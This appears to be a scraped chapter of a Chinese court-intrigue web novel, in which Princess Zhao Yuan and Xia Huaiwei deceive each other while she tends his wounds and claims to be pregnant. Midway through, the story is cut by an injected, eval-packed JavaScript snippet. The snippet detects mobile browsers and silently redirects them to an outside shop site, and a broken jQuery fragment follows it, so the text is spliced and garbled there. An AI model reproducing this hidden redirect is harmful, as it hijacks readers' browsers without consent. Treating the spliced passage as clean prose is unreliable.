“朝中寻回了个遗落民间的宗室子,前几日封了靖王,许是动了争储的心。赵初又在这时与他反目,利用不起来了。夏瑾难以心安,才如此迫不及待地想要带走孩子。”
后煜快速地将套到的消息说了一遍,床上那团鼓起的被子里缓慢地伸出一只手,示意他过来。
他刚坐下,戚姮张开手臂,把他一起吞到了被子中。
黑暗中,戚姮的眼睛散出幽幽的淡蓝色,贴上来问:“还有吗?”
后煜“嗯”了一声:“听他的语气,似是准备的差不多了,就等着变故出现,好将素枝推上皇位。”
除了突然冒出的靖王,大体都与她所想的差不多。
戚姮却没接着往下聊,一个翻身,坐到了后煜的腰上。被子搭在肩头,她俯下身,轻声道:“方才,你与夏怀微的谈话我听了一半去。从前我以为是你们两人为赵初做事。现在我才知,是他将你给招安了,你们两个才是一个阵营的人。”
“……是。”
后煜莫名有点心虚地挠了挠脸,一五一十交代道:“夏瑾瞧不上赵初,与他合作,不过觉得你很碍事,顺手帮他把你挤出朝堂,即便败露,也可以拉赵初出来挡枪罢了。”
“至于我,本就是公主假装无意引荐过去的,是为他做过几件无足轻重的小事……”
后煜连忙补充:“但那也是为了让他信任,你的事我一件都没说过。”
戚姮笑了声,拍了拍他的脸:“倒也不用这么紧张,我不是来问罪的。”
她的指尖向下滑,停在后煜的胸口处画圈圈:“我只是今日才发觉,你一直在跟我装。”
后煜有点没听懂,刚想坐起身,又被按了回去。
“装得纯良,装得无辜,装得柔弱。结果你在外面跟个恶霸似的。”戚姮抱着双臂,似笑非笑地盯着他,“脾气好坏啊。”
“……”
后煜懊恼地闭上了眼。
维持了快一年的温柔体贴的解语花形象,居然会因为套个话毁于一旦!
幼时不曾察觉,可随着年岁渐长,他发现自己与解烺实在是像极了。
脾气差,欺软怕硬,自私自利,小肚鸡肠……
虽然很不愿意承认,他与那种货色是亲兄弟,也跑不了是那种人。但凡是在国公府正常长大的公子哥,指不定与解烺相比,有过之而无不及。
尽管成长环境压制着后煜心性的张扬,他还是没跑掉成为一个看人下菜碟的性子。
惹不起当孙子,惹得起当老子。
在太府寺当差的日子,怎么说也是个有实权的从四品高官,整日就甩一张臭脸。
偏偏后煜掌管着百官俸禄,难相处归难相处,办事当差的确尽心尽力,也懒得给谁穿小鞋。除了解烺,大多都不会去触他的霉头,也能相安无事。
可谓是一方土皇帝。
如若不是清楚自己的任务是当个狐媚子,得罪戚姮只会得不偿失,他压根也不会装什么乖样子。
好在,戚姮确实吃这套,也没白装。
坏在,被她发现了。
后煜痛心疾首,心如死灰,头一歪,装死晕了过去。
·
赵元推门进屋,瞧见的便是他一动不动躺在床上。
虽是装的,可身上的伤是、后来在水里被憋晕、又被赵逾白打了一顿都是真的。面色苍白,嘴唇干裂,乍一看,还真像那么一回事。
赵元心里叹了句倒是肯下苦功夫,走到床边,将手中的篮子放在了床头小柜。
剪开他额上的绷带,磕出的伤口已经不再流血了。
赵逾白下手重,没个十天半个月指定好不了,若是不治,估计还会留道疤。
她拿出杵臼草药,捣碎了敷在伤口处,托着夏怀微的脑袋缠了两圈新绷带。刚放下手,就见他睁开了眼。
“文则……”
赵元抬手制止:“躺着就行,你身上的伤刚好些,别总乱动。”
她麻利地将夏怀微胸前的几处伤一并处理好,收起工具,方才拿帕子擦净十指。
“没想到,我竟会在此处遇见你。”夏怀微咳了两声,撑着床板缓缓坐直。
不管他到底是个什么样的人,长得是一点都不阴险狡诈,反而被如沐春风的书生气萦绕。苍白的面色尽显此时虚弱,发丝垂到了耳下,弱柳扶风摇摇欲坠的模样还有几分无害。
垂下的眼睫,六分长得像赵逾白。
他用衣袖遮住半张脸,又连连咳了好几下:“我还以为这次必死无疑了呢。”
“……”演的太过了吧。
她闭了闭眼,装着不知情地道:“你为何出现在这?光天化日之下,又为何会被刺杀落水?可是你得罪了什么人?”
夏怀微眸光微动,叹了口气:“我本意是来寻你的。去年你连封书信都未曾留下便独身离京,自那以后,我时感孤独不安,每次去寻陛下,都被搪塞了过去。”
“后来我接手了一起案子,意外发现朝廷新找回来的那位靖王殿下,秘密遣了一波暗卫去了波斯。顺藤摸瓜查过去,竟因此找到了你的行踪。结案后,我便告了长假,马不停蹄地赶来这儿。”
他探出指尖,握住了赵元的手,仰脸扯出一个笑:“是谁要我死,我不清楚。但一睁眼就能看到你,我真的很开心。被砍两刀就砍吧,值当了。”
许久不见,突然又要面对面着演戏,赵元盯着他满含期待的眼睛,垂在身下的左手尴尬地快把衣料都给捏穿个洞。
居然有点不适应。
真是造孽,无论跑多远永远都躲不开汴京的皇权纷争。
赵元面上不显,顺着他的话问道:“那位靖王是何来历?”
“是曾经一位失踪于阵前的靖王,失忆后在民间成家后所生的孙子。官家体谅那位靖王苦劳,在人来认亲时便封了靖王。”
赵元了然点头:“原来如此。”
那就想明白夏怀微在急什么了。
“不说他了,也不重要。”夏怀微歪头问道,“你呢?一个人来波斯,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707768|203697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没个人伺候着,过得还好吗?”
“我还行。”赵元掀起眼皮,很快又移开视线,“当初离开事出有因,就忘了让人通知你一声,倒也不是有意瞒你。”
夏怀微疑惑出声:“有什么事是要跑到波斯来解决的?”
他困顿的模样实在是太像回事了,要不是早就知道这家伙是个什么人,赵元都差点会信以为真。
她默了默,欲言又止地看向他,把控着时间差不多了,方才开口道:“我怀孕了。”
“……”他缓缓抬起头,“什么?”
“待我发现时早已三月有余,汴京人多眼杂,我怕再待下去迟早被人看出端倪。”
赵元垂下眼:“我虽贵为公主,可说到底也只是个公主。北凉使臣进京时,点名道姓想要我代表大燕去和亲。戚姮刚因为这事大动干戈,打伤了使臣,本就是我们不占理。后脚我就怀了孕,若传出去,外面的人必定会说我是贪恋京城中的锦衣玉食,为一己之私,才会弃和平、百姓、江山社稷于不顾。”
“这样的罪名太重了,我承担不起。堂堂公主还未成亲,先大了肚子,我更不敢让我父皇知道。”
赵元一点点把手从他的掌心抽回来,指尖攥紧了衣角,咬着的下唇都快要出血。
“所以你就来了这里?”夏怀微双手搭在她的肩头,眉心蹙起,“可你总不能躲一辈子。”
“可我真的不知道该怎么办了。”赵元说,“非婚生子只有波斯是常态,我藏在这里,总没有那么多双眼睛盯着。”
“你怎么事事都不与我说呢?你与我说,我们还可以一起想办法。总比你自己承受这等苦楚强百倍。”
夏怀微抚了抚她的头发,视线不动声色地转向手掌心。
干干净净。
待赵元抬起脸,他已经恢复如初,继续道:“……也怪我。总想着你年纪还小,没有早些求陛下请旨赐婚,没考虑万一有了孩子又该何去何从。如今,更是没给成不用担惊受怕的安稳日子。”
“但,波斯毕竟是外邦之地,并不适合你在此安身立命。等回去之后,我一定第一时间去官家那里负荆请罪,再将赐婚圣旨拿到手。届时我们便是名正言顺的夫妻,但你答应我,不要再呆在这里受苦了,随我回汴……你笑什么?”
夏怀微眨了两下眼,似是在确定刚刚是不是真的从赵元脸上看到了一抹没忍住的笑意。
闻言,她立马垮下嘴角,连连摇头否认:“公主做成我这样,哪还笑得出来。”
夏怀微在这里说话,脑子里全是戚姮在河岸边学他说话的那副腔调,赵元忍了又忍,终是在听见完全一模一样的句子后没忍住。
赵元心里又哭又笑,咳了一声,勉强恢复了平静。
“是我看错了,抱歉。”夏怀微并没有放在心上,轻轻抚上她的脸颊,问道,“那你想好了吗?要不要随我回汴京。”
赵元眸中的打动一闪而过,慢慢变成深深的不确定:“可是我听说……当了驸马,就不能继续做官了。”